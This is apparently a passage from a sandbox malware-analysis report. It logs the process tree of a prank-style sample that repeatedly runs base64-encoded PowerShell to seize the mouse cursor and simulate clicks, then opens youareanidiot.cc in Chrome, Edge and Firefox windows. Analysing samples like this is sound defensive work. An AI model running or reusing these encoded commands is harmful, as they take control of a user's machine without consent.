AIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6308
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x134,0x138,0x13c,0xd0,0x140,0x7ff8c3cdc728,0x7ff8c3cdc734,0x7ff8c3cdc740
        5⤵
        
        PID:6684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7640
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7892
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:8012
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:8044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:8052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where chrome
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7620
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:7932
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff8c3cdc728,0x7ff8c3cdc734,0x7ff8c3cdc740
        5⤵
        
        PID:8000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where firefox
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7220
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window "https://youareanidiot.cc/lol.html"
      4⤵
      PID:6760
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -new-window https://youareanidiot.cc/lol.html
        5⤵
        Checks processor information in registry
        
        PID:6652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where brave
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:6852
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where opera
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:7716
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
